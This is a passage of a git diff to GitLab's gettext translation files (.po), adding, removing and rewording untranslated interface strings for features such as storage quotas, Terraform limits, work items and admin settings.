msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/uz_UZ/gitlab.po b/locale/uz_UZ/gitlab.po
index b3a62cc0b06..e901ef4a9be 100644
--- a/locale/uz_UZ/gitlab.po
+++ b/locale/uz_UZ/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: uz\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:43\n"
+"PO-Revision-Date: 2023-01-10 06:48\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
